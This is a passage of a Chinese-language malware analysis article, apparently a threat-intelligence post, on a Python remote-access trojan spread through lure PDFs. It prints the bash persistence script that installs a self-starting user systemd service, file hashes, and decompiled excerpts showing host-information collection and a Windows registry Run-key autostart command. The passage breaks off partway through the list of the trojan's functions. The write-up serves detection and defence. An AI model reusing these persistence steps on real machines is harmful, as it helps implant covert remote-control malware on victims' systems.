0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">助理工程住房官员信息.pdf</span></strong><div><p><span leaf="">(注：原文有拼写错误，应为&#34;INFORMATION&#34;)</span></p></div></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: center;"><p><span leaf="">75245a9be77dc6014e079cf249a98ab3</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: center;"><p><span leaf="">APPL FOR UPDATION.pdf</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">更新申请表.pdf</span></strong><div><p><span leaf="">(注：原文有拼写错误，应为&#34;UPDATE&#34;)</span></p></div></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: center;"><p><span leaf="">24e010830cbb42384bf609f8acf91c46</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: center;"><p><span leaf="">Tunnelling certification course.pdf</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">隧道工程认证课程.pdf</span></strong></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: center;"><p><span leaf="">1426bdff1ef4466c37631a51c2ba6e48</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: center;"><p><span leaf="">APPL FOR UPDATION.pdf</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">更新申请表.pdf</span></strong></td></tr></tbody></table></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">gkt3.sh是一个持久化脚本，内容如下所示。脚本在用户配置目录(~/.config/systemd/user)创建了一个名为 &#34;gkt3.1&#34; 的用户级 systemd 服务，将其配置为自启动并立即启动运行。</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #61aeee;line-height: 26px;"><span leaf="">#!/bin/bash</span></span><span leaf=""><br/></span><span leaf="">SERVICE_NAME=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;gkt3.1&#34;</span></span><span leaf=""><br/></span><span leaf="">mkdir -p ~/.config/systemd/user</span><span leaf=""><br/></span><span leaf="">cat &gt; ~/.config/systemd/user/</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$SERVICE_NAME</span></span><span leaf="">.service &lt;&lt;EOL</span><span leaf=""><br/></span><span leaf="">[Unit]</span><span leaf=""><br/></span><span leaf="">Description=gkt3.1.2</span><span leaf=""><br/></span><span leaf="">After=network.target</span><span leaf=""><br/></span><span leaf="">[Service]</span><span leaf=""><br/></span><span leaf="">ExecStart=/home/</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$USER</span></span><span leaf="">/.config/gkt3.1</span><span leaf=""><br/></span><span leaf="">SupplementaryGroups=</span><span leaf=""><br/></span><span leaf="">Restart=always</span><span leaf=""><br/></span><span leaf="">NoNewPrivileges=</span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">false</span></span><span leaf=""><br/></span><span leaf="">[Install]</span><span leaf=""><br/></span><span leaf="">WantedBy=default.target</span><span leaf=""><br/></span><span leaf="">EOL</span><span leaf=""><br/></span><span leaf="">systemctl --user daemon-reload</span><span leaf=""><br/></span><span leaf="">systemctl --user </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">enable</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$SERVICE_NAME</span></span><span leaf="">.service</span><span leaf=""><br/></span><span leaf="">systemctl --user start </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$SERVICE_NAME</span></span><span leaf="">.service</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">gkt3.1是PyInstaller打包的ELF文件。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">MD5：de035f212161f33accc610793fdcaa67</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">SHA1：e0e89ee546fe04498aee0e1deb33e0b47ba8708a</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">SHA256：553d245ae07eb39a9bfec74b64507d66e4aa2817b101fdddbd699dd9a079fa84</span></p></div><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="0.6907407407407408" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100030272" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=a798178b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSITy8DJoRDG7wBujSfm1pfKY29cPCH07aMwvH3dQzLWTJq1kd3IA6SjwzKFI8mms8pefm6ECJjjw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 10px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: black;letter-spacing: 0px;background-color: rgb(255, 255, 255);line-height: 1.6;word-break: break-word;text-align: left;font-size: 14px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;visibility: visible;"><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">使用 pyinstxtractor 解包后，其内容显示了一个名为 agent-svc.pyc 的已编译 Python 模块。</span></p></div><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="1.332688588007737" data-s="300,640" data-type="png" data-w="517" type="block" data-imgfileid="100030273" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=e3ad462e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSITy8DJoRDG7wBujSfm1pfZwia4N99ZpQNfTmVDicKKsNNBSLiaJaaUW5HwP0dQS2DtQKzWBwq3G2OQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 10px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: black;letter-spacing: 0px;background-color: rgb(255, 255, 255);line-height: 1.6;word-break: break-word;text-align: left;font-size: 14px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;visibility: visible;"><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">PyLingual（<a href="https://github.com/syssec-utd/pylingual）目前不支持恢复python2.7编译的pyc，使用uncompyle6成功恢复后的源码，交给LLM快速分析和梳理这个远程控制代理（RAT）的客户端的功能。" target="_blank">https://github.com/syssec-utd/pylingual）目前不支持恢复python2.7编译的pyc，使用uncompyle6成功恢复后的源码，交给LLM快速分析和梳理这个远程控制代理（RAT）的客户端的功能。</a></span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">1.</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">基本信息收集</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">self.uid = self.get_UID()  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 用户名 + MAC地址组合</span></span><span leaf=""><br/></span><span leaf="">self.hostname = socket.gethostname()</span><span leaf=""><br/></span><span leaf="">self.username = getpass.getuser()</span><span leaf=""><br/></span><span leaf="">self.platform = platform.system() + </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39; &#39;</span></span><span leaf=""> + platform.release()</span></code></pre><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">收集系统唯一标识符并生成UID，UID格式为</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">用户名_MAC地址</span></strong></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">获取主机名、用户名、操作系统信息</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">2.</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">持久化机制</span></strong></p><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">Linux系统：</span></strong></p></li><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">复制自身到 ~/.config/ 目录</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">设置执行权限</span></p></li></ul><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">Windows系统：</span></strong></p></li><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">复制到 %USERPROFILE%\vmblco\</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">通过注册表实现开机自启：</span></p></li></ul></ul><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">cmd = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v lee /t REG_SZ /d &#34;%s&#34;&#39;</span></span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">2.</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">文件系统操作</span></strong></p><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><div style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 